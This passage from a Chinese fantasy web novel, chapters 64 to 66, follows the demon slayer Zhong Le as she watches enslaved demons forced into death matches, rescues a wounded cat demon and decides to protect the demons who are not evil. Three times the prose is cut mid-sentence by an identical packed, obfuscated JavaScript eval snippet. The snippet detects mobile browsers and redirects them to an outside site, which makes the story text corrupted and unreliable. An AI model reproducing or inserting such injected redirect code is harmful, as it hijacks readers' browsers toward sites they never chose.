“若是你懂得方才失去楚欢的悲恸,那么你就能懂得,我失去我阿娘的痛苦和绝望。失去所爱之人的滋味是那么不好受,对吗?钟乐,我们是你漠然踩死的蝼蚁,是你剑上的脏血,是你的脚底的灰尘,可是,我求你好好的看看我们。我们也有心,我们也有爱,我们也有很多妖,终其一生,庸庸碌碌,所求和你们一样,就是与所爱之人相依相伴的活着。钟乐,求你。” 钟乐喃喃:“不……” 但是,狼妖已经决然的捏碎自己的妖丹。 她要死了,可心里反而很平安。 有阿娘的时候,世道是甜的,自从阿娘死去,世道就变成了苦的。往后的日月星辰,山川河流,再也没有人陪她一起去看了,那样的话,活着又有什么意思呢? 她花了三年的时间仇恨钟乐,无时无刻不想着杀了她。如今衡阳掌权,妖怪沦落为阶下囚,她又想起了钟乐,但她决定不再恨钟乐。 只有这个人,是唯一可以改变这一切的人了。 她看到钟乐的脸上,有一滴泪茫然滑下。于是,她轻松的笑了。 67. 第64章 钟乐回到了白帝城。 衡阳实在是个精于话术的人。他说,已无行走在世间之妖,钟乐以为他的意思是杀尽了天底下所有的妖。可是,所有的妖怪都被掌控囚禁起来,这话同样也是说得通的。 看见钟乐,衡阳神色复杂,钟乐不在乎的忽视他,来到了曾经关押过宣离的牢狱。 那里面空空荡荡。 “你不会再见到他了,”衡阳在背后说,“是天师你说的,杀了他,不是吗。” 是,是她让衡阳杀了他。杀了他没有错。 当夜钟乐在白帝城漫步,她换了件平平无奇的粗麻布衣,也没有带上参商剑,行人来来往往,没有人认出她。 钟乐在一个猜灯谜的小摊铺前驻足良久,她看着许多人热热闹闹的拍手、说笑、揭谜题,这才想起,又是一年元宵节了。 她买了一碗元宵,白滚滚、胖乎乎的糯米丸子中裹着软糯的豆沙和芝麻,一口咬下,唇齿间漫满香甜。 “姑娘,你……”卖元宵的老板愣了,不知这孩子怎么吃着吃着就哭起来。 钟乐一边哭,一边连连摆手:“没事……” 她只是终于知道了那时候她为什么会哭。 她自认从没有爱过宣离,她假装爱上他,清醒的玩弄他,将那场大婚当做向全天下展示她杀死妖帝的舞台。拜鬼忧说,她在害怕,那时她觉得她根本就不怕,妖帝强大又如何,她有自信她可以杀了他。但那好歹是她和宣离的大婚,她不能那么快就拆台。 于是她胡诌,她说,因为有所爱,便有所忧,有所忧,自然就有了所惧。 说这话的时候她不懂,当她懂得的时候,一切都已经成为过去了。就像当初她不知道自己为何而哭,而如今她终于懂得的时候,她已经没有办法再为他而哭了。 钟乐放下碗,继续往前走。 一开始,她走的迷茫,漫无目的,被人流挤到哪里,就去往哪里。 但渐渐的,她好像有了目的地,她朝着九龙台而去,即使暂时被挤偏了方向,因为心里知道最终的去处,所以总能回到该走的路上。 终于,她登上九龙台。 近处的白帝城灯火辉煌,人来人往,远处的鹤都雾气缭绕,沼泽反射着月华,再远处,则是绵延不绝、亘古不变的人间大地,千百年前是如此,千百年后,将仍是如此。 钟乐想清楚了。 曾经做过的事,她并不后悔,因为那是正确的,那本来就是正确的! 但是,从今往后,她要去做一件更加正确的事了。 在九龙台上吹了一会儿风,钟乐心胸也被吹的开怀起来了,她既决定了今后的道路,便不再彷徨,脸上笑容重新浮现。 但是,没过一会儿,钟乐又郁闷了。 白帝城中有一片杏林,春天时繁花盛开,雪白烂漫,美不胜收。而此时,那杏林不知为何,燃起了熊熊烈火。 钟乐跳下九龙台,发现人流也朝着杏林的方向涌去,她随手抓住一个人:“杏林着火了,你们怎么都要去那里?” 这人笑道:“姑娘,外地的吧?” “啊?”钟乐这个白帝城土著懵了。 这人:“我们白帝城啊,每年都会举行一场角斗赛,时间一般是在六月中旬。但方才衡阳宗主通知,说是今年的角斗赛提前了,就在今夜,且就在那杏林之中举行。喏,你再仔细看看,杏林其实没有起火,而是有很多人举着火把,所以才造成起火的假象。” 钟乐:“……” 衡阳是故意的,绝对是故意的。 不管这角斗赛的内容是什么,都一定是想让她看到。 还能怎么办呢?钟乐自然是遂了他的心意,混在人群中一起来到杏林。 没想到这角斗赛的规模竟如此宏大,架势也十分隆重。 时值冬日,杏花凋零,但为了让角斗赛的场地更加美观,衡阳特意施了法—— 仿佛一刹之间春天到来,千树万树,繁花盛开。 小小的白色花朵一簇又一簇,一片又一片,似烟,又像雾,人来到这里,就好像置身于雪白纯洁的仙境。 钟乐到时,杏林已经外三层里三层的挤满了人,她好不容易猫着身子挤到前面来。 只见杏林的中心是一个圆形台子,很大很大,四周围着灵铁栏杆,上有尖刺,就像是荆棘。 旁边,有个人面前悬浮着一页巨大的白纸,以法力在上面记载着什么,火光之中钟乐细看,发现那人是念念生。 “我买五号!” “我七号!” “哎哎哎等等!说名字!你们的名字!”念念生叫道。 钟乐胳膊肘一搡念念生。 念念生看到她,眼前一亮:“你来了!” “嗯,”钟乐说,“这场角斗赛,到底是怎么回事?还有,你在干什么?” “角斗赛就是让奴隶们在这竞技台上打仗嘛!但是干打也不好玩啊,于是角斗开始前大家就会下赌注,自己下注的奴隶赢了就能赚钱,输了就是输钱。”念念生愁眉苦脸,看来他就是负责登记赌注名册人了。 钟乐挑眉:“奴隶?妖怪是奴隶?” 念念生苦笑:“自然。” 钟乐:“他们在哪里?我怎么没看到?” 一阵如雷鸣般的掌声响起,念念生哼道:“喏,来了。” 拥挤的人群自动分开,让出了一条道。衡阳一身绯红锦袍,贵气从容,信步而来。 钟乐看着他,想起三年前的那个夜晚,衡阳一马当先的杀入白帝城,于千军万马之中,势如破竹。殷红的血珠溅在他脸上,而他毫不在意,随手抹去,又是狠辣的一刀,又一只妖的头颅落地。 钟乐问他:“你叫什么名字?” 他单膝跪地,恭敬的说:“衡阳。” 钟乐说:“今夜你最为骁勇,杀死的妖最多。修炼多少年了?” 衡阳说:“十八年。” 只比她多了三年!钟乐赞叹,可真是天赋过人。她说:“真正开始杀妖多少年了?” 衡阳说:“今夜是第一次。” 钟乐从衡阳脸上看到了年轻人的壮志与野心。 她说:“我有心成立斩妖司,想任你做斩妖司之主,可好?” 衡阳没有推辞,恭敬的答:“如果天师愿意信任衡阳的话,那么,衡阳一定尽心竭力,万死不辞。” 三年。 衡阳改斩妖司为天地宗,他不杀妖,但用另一种更为强劲阴狠的手段将妖怪牢牢掌控在自己的手掌心。人间太平三年,到处都流传着他的美名。 他掌管所有妖,又拥有强大的天地宗,等于掌管所有人。 他是天地之宗主,处于这世间最高的地位上。但是,除了气度更从容华贵以外,他竟丝毫没有上位者的得意之态。钟乐觉得,他和三年前几乎没有变化。 有铁链摩擦地面之声。 原来衡阳手中,竟牵着一根长长的铁链,铁链上依次绑着八个妖怪。 衡阳脚尖一点,飞上竞技台。他手中的八只妖用力抗拒,却不敌他分毫,只能乖乖的任他将他们拉上竞技台。衡阳环顾四周,微笑道:“今夜又是一年一度的角斗赛。” “呜呼!” “喔喔喔喔喔!太好了!” 人群爆发出欢呼,衡阳却好像在寻找着什么,目光打转。终于,他的眼神好像亮了一下,对着钟乐的方向,意味深长的微笑。 钟乐:“……” “竞技赛,即刻开始。” 激昂的锣鼓声起,用抽签的方式,将那八只妖两两分组。然后,将第一组的两只妖怪放入竞技台。 这两只妖本来彼此同情与怜惜,但是一进入竞技台,他们马上就变了一副模样,好像对方成为了自己此生最恨的仇人。 钟乐问念念生:“他们真打呀?他们不是同族吗?装装样子不就行了?” 念念生低声说:“今夜,这八个中只能活一个。” 原来是这样。 即使是自己的同族,即使有多么深厚的感情,但当在生命与情感间二选一的时候,能坚定选择后者、放弃前者的,又能有几个呢? 两只妖厮杀起来了。 钟乐看了一会儿,只觉得汗毛都竖起来了。 灵铁中妖怪的法力被禁锢,只能用最原始的方法搏斗。在妖怪原形下,他们抓挠、扑杀、撕咬,鲜血淋漓,血肉横飞。 两只妖的斗争进入决胜阶段,角斗越来越精彩,锣鼓声也越来越密集。 那些下了注的人,面红耳赤的握着拳,又兴奋又激动,心脏砰砰直跳。妖怪的每一次躲避,每一次反攻,都牵动着他们的神思。 一阵响彻云霄的欢呼——一只妖将另一只妖撕碎了! 赢的人畅快的擦了把汗,输了的人则扫兴的叹了一口气,不过他们的失望没有持续多久,因为很快,他们又全情投入到第二场角斗中了。 “等四场角斗结束 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368801|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,活下来的四只妖又会两两比赛,最后剩下两只最强者,来进行最后的厮杀。”念念生有些不忍的说。 可是,在这种场合下,钟乐觉得自己没法出手了。 这里的人毫无疑问十分喜欢与迷恋这场比赛,她不管是杀了剩下的妖,还是救了它们,都会惹来强烈的不满。她甚至怀疑狂热的观众们会将她也撕碎。 钟乐在人群中寻找衡阳,找了半晌,却并未见他的踪影。这时她忽然福至心灵般的抬头,只见衡阳站在一支恣意伸展的枝桠上,斜倚树干,唇角含笑,注视下方一切。 钟乐挤出人群,三两步跃上那棵树,也找了一个树枝,与衡阳并肩而立。 “停止今夜的角斗。” 衡阳诧异的说:“天师这是什么意思?” 钟乐说:“反正找个借口,停下来。” “我本以为你会喜欢。” 喜欢? 钟乐没好气:“这样有意思吗?” 衡阳说:“有,他们都很喜欢。” “这算个屁!”钟乐说,“杀他们是因为他们的存在威胁到了我们,但是,现在这样做纯粹就是利用变态的手段获得心理上的快感。就像你可以为了生存而吃鱼,但如果你在杀死那只鱼前故意折磨它的话,就十分的下作了。这样的话,我们和当日我们所唾弃的妖又有什么分别呢?” 衡阳挑眉:“我记得天师不喜欢吃鱼,怎么,极地三年,天师又喜欢吃了吗?” 钟乐:“……” 看来衡阳是不会帮忙了,钟乐跳下树枝,又来到念念生身边:“现在怎么办?” 念念生说:“难办。如果杀了它们,大家会觉得反正都是死,为什么死前不能让妖怪进行角斗,让他们好好的观赏、刺激一回。可如果救了它们,大家会震惊且愤怒,质问你为什么要去救一只妖?” 钟乐就是这样想的,她说:“今夜不是个好时机,大家都正兴奋狂热呢。这种时候,很容易做出不理智的事。” 看来,这八只妖怪只能先放弃了。 第二场的角斗比第一场快出很多,因为这场中的那只虎妖实在是太厉害了,而另一只是只瘦弱的猴妖,他虽灵活,但在绝对的力量面前,还是很快耗尽力气,被老虎的利爪扯破喉咙。 血流如注,从竞技台上蜿蜒而下,染红了杏林的泥土,染红了落在地上的厚厚一层雪白杏花。 第三场角斗开始。 但是,许多人却发出了惊呼。 原来这场中,有一只白色的猫妖,它瘦骨嶙峋,皮毛也脏兮兮的,结成一绺一绺的硬块。另一只伶鼬细小却凶残,尖尖的爪子将这白猫挠的伤痕累累,血肉模糊;又张嘴啃咬这白猫的喉咙,被白猫伸爪挡住,于是这一口就咬住了白猫的前爪,好像都快要咬断了,那只前爪软软的耷拉下来,只剩下皮还勉强连着骨头。 但是,无论如何,这白猫都毫不反抗。 它拖着那只受伤的爪子,一次又一次的试图爬出灵铁栏杆外,上面尖刺划破了它的皮毛,汩汩鲜血染红了灵铁,可是它却好像感觉不到疼痛,一直爬,一直爬。 “咬啊!咬死它!”赌伶鼬的人眼冒精光。 而赌这只白猫的人就气的破口大骂了:“回击啊!蠢货!” “废物!” 可是,无论他们如何骂,这只白猫就是不愿意与伶鼬决斗,处处退让与躲避。 这个举动,无疑是懦弱的,但是钟乐在人群中望着这猫的眼睛,却发现那双如绿宝石般的眼睛中,满是压抑到极致的仇恨—— 它根本没有怕,爬出灵铁不是为了逃跑,而是为了报仇! “好!干得好!” 伶鼬也爬上了灵铁,对着白猫发出最后凶残而致命的一击—— 白猫知道自己出不去了,它仇恨的环视了一圈在场所有的人,然后平静而绝望的闭上眼睛。 但是,一阵惊呼又起!只见一个灰扑扑不起眼的的影子,一手劈断好几根灵体栏杆,在伶鼬的尖牙利齿下救出了白猫。 然后抱着白猫,踩上一棵杏树的枝桠,扬长而去。 “什么人!” “追!快去追!” 念念生紧张的捏出几只雾蝶,打算等他们追钟乐的时候就放出雾蝶,让他们看不清前方的路。但这时,他听到衡阳平静的说:“不必追了。” “可是,宗主?”有人迟疑。 衡阳淡扫了他一眼。 那人便不敢说话了。 68. 第65章 钟乐碰了碰白猫的那只前爪,只觉摇摇欲坠。 她十分发愁,现在回去白帝城找念念生恐怕不太现实,看来,今日她要做一回兽医了! 钟乐打来一大盆清水,找来剪刀、纱布、针线,将那条断腿上的皮毛小心剪开,看到里面的骨头已经断裂。 她洗干净手,将骨头接在它该长的位置,然后穿针引线,将剪开的皮毛缝合起来。 做完这些后,她又用一条湿毛巾仔细了擦了擦这猫的皮毛,那些比较深的、形容可怖的伤口,她在上面洒上药粉,然后用纱布将伤口包扎起来。 其他的小伤口,钟乐就懒得再管了,因为这只猫身上的伤实在是太多了。 待到终于擦去这只猫身上所有的血污,清水已经成了红色,白毛巾也脏的变了色,但是,这猫倒被擦白了,皮毛似雪,一尘不染。 钟乐累的满头大汗,倒了水,将毛巾洗干净,挂在木屋外的晾衣绳上。 阳光正好,微风徐来,雪白的毛巾微微晃荡,散发出一阵一阵的皂香味。 钟乐坐在屋门口的摇摇椅上,这把摇摇椅还是许多年前,隐雀在这里小住时,用花梨木为她做的。 钟乐扶着摇摇椅的扶手,只觉温润细腻,手感极佳,就像许多年前,她还是个孩子的时候一样。 摇着摇着,钟乐就睡着了。 醒来时已是黄昏,几只飞鸟飞过橘红色的天际,钟乐在这一瞬间突生出几分寂寥。 “哐当!” 钟乐连忙冲进屋子里。 果然,那只猫醒了。 “你……呃……” 钟乐奇怪了,她明明是它的救命恩人,可是它却一脸恨意,在床角处,脊背高高拱起,龇牙咧嘴的与她对峙。 “唉,我救了你,又不是害了你,你这是什么意思?” 没想到,这只猫油盐不进,喉咙中发出危险的咆哮,忽地飞扑过来,想要撕烂她的喉咙。 钟乐当然不会给它这个机会了,拎住它的后腿把它倒提了起来。 “你去死!”白猫恨恨道。 “咦,”钟乐惊讶,“你会说话?”她想起来了,这本来就不是一只单纯的猫,这是只妖,此时只不过化成了原形而已。 “变个人形我看看。”钟乐笑吟吟提议。这样的话这里就有两个人了。 白猫:“可以,你去死。” 钟乐:“……” 这要是以前,它一只小妖敢骑这样在她脖子上撒野?她分分钟将它的脑袋拧下来。但毕竟,人是变化的,今非昔比、今非昔比啊! 这样想着,钟乐很好脾气的将它拎到床上,看到它前腿的纱布散开了,又给它重新绑上,还十分贴心的打出一个漂亮的蝴蝶结。 “这是哪?”白猫冷冷道。 “蓬莱岛,”钟乐说,“我长大的地方。” 白猫:“也是你今后葬身的地方。” 钟乐:“……” 她十分郁闷的去厨房做饭,搞不懂为什么一只看起来这么优雅洁白的猫儿,那张嘴却是那样的恶毒。 多年没来过蓬莱岛了,但小时候播种的瓜果蔬菜仍旧在生机勃勃的生长。当年钟乐在外面施了一道结界,即使外界冬天还未过去,结界内却一直温暖如春。 她摘下几根黄瓜,拔了几根萝卜,然后,很为难的挠了挠头。 蓬莱岛没有面粉,做不了馒头,但是,干吃一道黄瓜拌萝卜也不够啊!这不得饿死她! 于是钟乐又摘了几根辣椒和豆角,又挖了几株魔芋,还挖了几颗红薯和芋头。 经过一番深思熟虑之后,钟乐决定,今晚的菜分别是:黄瓜拌萝卜,尖椒炒豆角,魔芋豆腐,以及焖红薯和芋头。 她哼哧哼哧大干半晌,直到天黑了,星星都出来了,才终于一脸黑烟的端着菜从厨房出来。 “吃吧。” 白猫瞥了一眼,在床上一动不动。 钟乐:“之前不是还扑下来要杀我吗?怎么?现在动不了了、下不了床了?” 白猫下床了,只是,没有来到饭桌前,而从窗户上一跃而出,消失在了夜幕中。 钟乐愣了一下。 算了,走就走吧,她一个人也挺好。 她开始吃饭,用红薯和芋头代替馒头,来就着吃黄瓜拌萝卜、青椒炒豆角,味道还不错,只是红薯和芋头偏甜了些,和这些偏辣的菜混在一起吃,颇有些冰火二重天的怪异感。 吃罢,钟乐又一口气扒完那盘魔芋豆腐。她小的时候住在这里,最擅长做的就是魔芋豆腐,一开始虽然中过毒,但后来她的手艺越来越娴熟,就再也不会中毒了。 吃饱了,钟乐摸摸肚子,想外出散散步再来洗碗。 可是,她忽然觉得很困、非常非常困,打了个大大的呵欠,“哐当”一声,头砸在桌子上,就睡过去了。 - 好香。 钟乐努力的吸吸鼻子,太香了,是鱼汤的味道。 她听到“咕嘟咕嘟”的响声,是那只红泥小火炉上放着一只陶罐,罐子里炖着鱼汤。 “清灏?”真高兴,就好像一切只是一个很长的梦。 “清灏?” 奇怪,清灏为什么不说话? “妖帝第一子?他早就已经死了,三年前,凤凰的啼鸣响彻极地,那是他此生最后一声鸣叫。”冷冷的、嘲讽的声音。 钟乐浑身一凉,猛地睁开眼,那只白猫蹲在椅子上,幽幽的看着她。 “你认识我?” 白猫哂笑:“天师钟乐,我们恨死了你,怎么可能不认识你?” “恨死了我?”钟乐自嘲:“许多年前,我也恨死了你们。” 恨是一场无尽头的轮回。 所以,是“许多年前”,现在,钟乐决定不再恨,决定去爱。 “为什么救我?”白猫说。 “我也说不清楚,其实我并不想在那时候闹出动静的,但是,”钟乐回忆,看到它伤痕累累、一次又一次试图爬出灵铁栏杆,那一瞬间,她很感动,感动之下,一种莫名的冲动,想救他。 她向来是个想做什么,就一定会去做什么的人。 她这样想了,所以,就这样做了。 “感动?”白猫却一点都不信,“感动我是个傻子?” “也许是的。”钟乐说。 她觉得,角斗赛中,他在坚持做自己认为正确的事。 “你那鱼汤……好像好了?”明明刚刚吃饱不久,但钟乐却觉得此时又饿了,她看着那罐鱼汤,期期艾艾。 白猫幽幽的说:“你知道你刚才为什么会睡过去吗?” 呃,还能为什么,钟乐:“因为困了呗。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388095|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白猫绿宝石般的眼睛中充满怨恨:“因为你中毒了。” 钟乐:“???” 白猫:“你中毒昏过去了,然后在昏迷中开始吐,吐的天昏地暗,我费了好大的力气才将这里重新清扫干净。” 钟乐:“……” 魔芋!是那魔芋!她一定是没有将它蒸熟,所以才中毒的。 怪不得,这么快就又饿了,她吃进去的全部都吐出来了,不饿才怪。 “咳咳,那个……感谢你了。”钟乐尴尬的说,“你不是走了吗?怎么又回来了?” “我又不是真傻。现在天地宗势力强大,我一出蓬莱,就立马又被衡阳重新抓起来,囚禁成奴隶,或者,戴上永世折磨的镣铐成为活宠,又或者,被一块块的肢解,贡献出对你们有用的部分。你觉得我会那么傻吗?” 钟乐:“呵呵,也是。” 白猫用爪子拨开鱼汤的盖子,香味扑鼻而来,钟乐咽口口水。 白猫鄙夷的看了她一眼,说:“来吧。” 钟乐忙端着碗凑过去,给自己夹了一大块炖的雪白软烂的鱼肉,又舀了一大勺浓稠鲜香的鱼汤,她吸溜吸溜的吃肉喝汤,而相比她,白猫就优雅许多,它坐在凳子上,不疾不徐的一口口吃完碟子里的鱼,再舔干净汤。 “是我炖的汤,你。”白猫示意她。 钟乐:“什么意思?” 白猫以不可置信的蔑视神情看着她。钟乐:“到底什么意思啊?” 白猫一尾巴将它的碟子甩到她面前,怒道:“你洗碗!” 原来是这事!钟乐:“行行行,我洗我洗!” 她一个人的时候,吃完饭当然会主动洗碗。但是,她和清灏在极地的时候,每次吃完饭,清灏都会主动的去洗碗,他说,鱼汤看着虽清淡,其实却很油腻,她不懂方法,洗不干净碗上的鱼油。 她刚才,下意识的以为他们是在极地。 可能是因为,这只猫妖和他们那时候一样,也喜欢吃鱼的缘故吧。 洗完碗,钟乐打个呵欠,可能是魔芋的毒力还未完全过去,也可能是天色确实已经很晚了,她又困了。 那只猫妖竟还没睡,在等她。 钟乐说:“你有什么事?” 猫妖沉默一会,道:“你以后,打算怎么做?” 以后……钟□□过窗户,望向夜幕中的点点繁星。 如果就此收手,于她而言一切都是最好的结局,她杀了妖帝,力挽狂澜,解救人族之危局,被尊为天师,享尽敬重与膜拜。 可如果,此时她再次出手,想救回那些并不坏的妖怪们,那么,她很可能会遭受反对、不解、质疑,甚至若做不好,她可能留下千古骂名,遗臭万年。 但,她还是想努力的去做一次。 就像当初不遗余力的杀妖时一样,那时她认为那是正确的。 而现在,她认为这样做是正确的。 “我需要找到一只大妖,可以将剩余的群妖号召起来的大妖。” “除去恶的,留下好的,然后,我会努力,让那些本不该死的妖活下来。” “如果有可能,我能走的更远,那么,我还会让那些本该死的人去死,让生活在这片大地上的,全是至纯至善之人、之妖。”钟乐笑了,“不过那么久以后的事,谁知道呢?且走一步,看一步吧。” 69. 第66章 钟乐开始忙碌起来。 剩下的妖本来就不多了,衡阳又还在不遗余力的抓捕,他们是能藏多深藏多深,根本不敢抛头露面。更别说,听说是赫赫有名的天师钟乐想要找到他们,他们就躲的更远了。 钟乐用了化颜咒,将自己重新变成“小乞儿”的模样,才让他们不再那么警惕。 大概半个月的时候,她终于从一只小鼠精口中打听到了妖族的一些事。 那小鼠精缩在洞口里,也不敢出来,两人就这样不见面的交谈。 钟乐和它打听剩下这些妖怪中比较厉害的、有威望的、他们都听说过的人物,小鼠精哆哆嗦嗦一会儿,说,有一只狼妖,名为息竹。 钟乐问息竹是何模样,小鼠精说,息竹穿一袭潇潇青衣,十分瘦,十分苍白,却又十分有力量,你只要见了她,就一定能认出她。 钟乐又问息竹现藏匿在何方,小鼠精说,白帝城。 “白帝城?”钟乐惊了,这狼妖真是胆大包天,竟敢待在衡阳眼皮子底下,难道这就是所说的最危险的地方就是最安全的地方? 小鼠精说:“因为那天师钟乐就在白帝城。” 哦?钟乐来了兴致,挑起眉:“为何说钟乐在白帝城,息竹就在白帝城?” “因为、因为,”说起钟乐的名字,小鼠精有些打颤,“钟乐杀了息竹的阿娘。” 钟乐蓦地觉得有些不妙,果然,听得小鼠精说:“自那以后,息竹就一直暗中观察、追踪着钟乐,她生怕错过任何一个能够杀死钟乐的时机,所以,钟乐在哪里,她一定就会跟到哪里。” ……完了。 钟乐垂头丧气的告别小鼠精。 息竹现在不在白帝城,息竹在落霞镇,因为,在那里她自己摧毁了自己的妖丹。 钟乐十分郁闷,心想世事怎么就这么不巧,她现在需要一个息竹样的人物,可偏偏息竹已经在那时死去。 但反过来想,若是息竹不死,可能也不会有如今这个意图寻找息竹的她吧。 有时看来阴差阳错,却其实不偏不倚,就像溪水向四面八方奔腾流淌,最后总会汇入那支它命定的河流。 或许,这就是人们所说的命运。 钟乐掏出一面小巧的圆镜。 相比尘缘镜,她并不喜欢水月镜,因为尘缘镜看到的是过往,过往发生的事是已经确定的,黑就是黑,白就是白,绝无错误的可能。但是,水月镜中看到的是未来,是命。 命是什么? 钟乐觉得,命是未知,是由自己亲手书写的无限可能。她不信命是注定好的。 眼前无数条路,她走了东,那么命运就跟着往东走,她走了西,那么命运又会走入西边的那条道。命运如何,在于她的选择如何,而她的选择如何,是由她牢牢掌控在手里的。 所以,命也是牢牢掌控在她自己手里的。 她又怎么可能相信水月镜中所看到的景象?那是假的,是虚的,是骗人的,是封建,是迷信,是自欺欺人的谎言,是懦夫用以掩饰的借口! 但是,在这一刻,钟乐思索再三,还是好奇的抹去水月镜表面的灰尘,在清明月色下,睁大了眼睛。 “……” 半晌后,钟乐将水月镜收回包袱,并且打算永久的压在包袱里,再也不拿出来看了。 果然是骗人的,她心想。 终于回到蓬莱岛,钟乐叫道:“李刻青!” 他一定懒得回答,钟乐也不在乎,问道:“饭做好了吗?” 她跨进木屋,看到李刻青蹲坐在地上,尾巴优雅的盘起来,用法术操纵着一团火焰,咕嘟咕嘟的煮着一罐子鱼汤。 钟乐说:“好了没啊?我快饿死了。” 李刻青简直烦死钟乐这个好吃懒做的家伙,整日在外面晃荡,留他一个守着这座孤零零的空岛,而她呢,想什么时候回来就什么时候回来,回来了也不做饭,往床上一躺,死乞白赖的等着他将碗筷都端上来、饭也给她盛好。 但饶是如此想,李刻青还是伸个懒腰,站起来,挥挥前爪,陶罐的盖子便被掀了起来。钟乐眼前一亮:“好香啊!” 李刻青翻个白眼,再挥挥前爪,里面的汤就细细旋转着升起来、落到了钟乐碗中。 钟乐掰一大块馒头,一边鼓着腮帮子就鱼汤吃,一边好奇的问李刻青:“你的人形到底长什么样啊?” 李刻青懒洋洋:“不知道。” 他是在敷衍她,钟乐说:“至于那么小气吗?” 李刻青高傲的哼一声,钟乐:“得了,不看就不看,搞的我有多么好奇似的。” 李刻青的前爪已经恢复的差不多了,他优雅的吃完鱼、舔完鱼汤,扬了扬尾巴尖就打算去洗碗,反正也没指望着钟乐会动手。 可是,收碗筷的时候,他的尾巴不经意扫过钟乐肩头,觉得那里湿漉漉的。 他又蹭了一下,这次是有意的了,用了点力气,结果,他发现他尾巴上的毛被染上一抹淡红色。 猫的嗅觉何其敏锐,他皱眉:“血?” “啊?”钟乐愣了一会儿,反应过来:“哦,这个。” 她指指自己肩头:“回来的时候,被一只九尾狐咬了一口,他说我杀了他的妻子……真是奇怪,在他口中,我好像是一个很坏很坏的魔头。” 在那九尾狐口中,她心狠手辣,荒淫无度,嗜血,嗜杀,她是个厉鬼,身穿红衣,手执黑剑,嘴角带着嘲讽冰冷的微笑,在毁灭一切的熊熊烈火中,砍下一颗又一颗的头颅。 “我真不这样觉得啊,我觉得自己还是挺正义的。”钟乐说。 李刻青:“比那更甚。” 钟乐:“……啊?” 李刻青说:“在我们这些妖心中,钟乐这个名字,恐怖过世上一切厉鬼。于我们而言,你的确是个杀妖不眨眼的刽子手。你杀死的妖,尸体可以整整摞满一整座白帝城,鲜血可以染红人间大地上的所有江海河流,无数对有情之妖在你的剑下分离,无数个家庭在你的剑下破灭。” 钟乐尴尬的咳嗽一声:“真的是这样吗?” “真的,”李刻青面无表情,“现在,脱衣服。” “哦。” “……嗯???”钟乐慢一拍反应过来,惊的眼珠子都瞪大了。 李刻青对她的慢反应十分不满,不屑的哼了一声,爪子轻巧的踩上她肩头,然后往下一抓—— 刺啦,她的衣服被划破,肩膀上一凉。 钟乐:“哎?!!” “闭嘴!”李刻青似乎很是生气,对她低低咆哮道。 大概是方才杀妖的话题让他想起不愉快的事了,钟乐十分识时务的闭嘴了,但是,她很快又觉得气氛有点怪异。 她,钟乐,是个女子。 他,李刻青,是只猫妖。雄性猫妖,那么变成人,就是个男子。 而俗话说,男女授受不亲。 钟乐想到这茬,耳朵就有点发热,但是,可能因为李刻青从未化出过人形,一直是以白猫的形态出现在她面前,所以,尽管知道他是个男人,但是她心中还是下意识的认为他是只猫,这又让怪异感减轻了一些。 于是钟乐欲言又止,止又欲言,最终还是止了。 她感到李刻青的爪子沾上药粉,轻轻涂抹在她肩膀被咬的地方。他似乎有些咬牙切齿:“你傻吗?” “什么?” “都伤成这样了,你不知道疼吗?!” 伤成哪样了啊?钟乐看不见,于是拿出尘缘镜瞧了瞧,发现肩膀上被咬的那块皮肉血红溃烂,大概是有些感染了。 她说:“还好吧。” 反正过上十天半个月,不管处理还是不处理,这样小小的伤总是会愈合。更何况,她的确没觉得多疼。 从杀第一只妖开始,到如今,她自然不可能次次都是常胜将军,毫发无伤。杀的妖越多,受的伤也就越多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403667|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤着伤着,就习惯了疼,对疼痛的敏感度开始降低,即使将钉子钉进她的手心,将铁链穿过她的骨头,她都能面不改色的拔出来。更何况,只是被九尾狐咬了一口这样的小伤呢?再何况,这也是她自己愿意的,如今的她若是成心对付一只九尾狐,还怕没有办法吗? 但李刻青在生气,钟乐也就不敢多说什么,乖乖的任它涂好药粉,再用爪子将纱布一圈一圈绕过来,在末端扎出一个蝴蝶结。 它的爪子擦过她肩膀的皮肉,有些毛茸茸的,又有些冰凉和痒。 钟乐不自然的摸摸耳朵:“好了?” “好了,下次……”李刻青本来十分鄙夷,想要好好给她这个蠢货讲一讲人身安全问题,但是眸光一转看到她微红的耳朵,顿时眼睛变圆。他终于后知后觉的意识到,他,李刻青,是只雄性猫妖,变作人形,便是个男人。 而方才,他拿爪子在她肩上又拍又抹,虽然是猫的形态,但还是让此刻的他如遭雷击。 他既意识到他是个男人,也就意识到她是个女人,于是方才一直没有注意的景象,在此刻纷纷争先恐后的跳到眼睛里。 “……” 李刻青从桌子上掉了下来。 钟乐:“怎么了?”猫的柔韧性和弹跳性那么好,他何至于摔到地上。 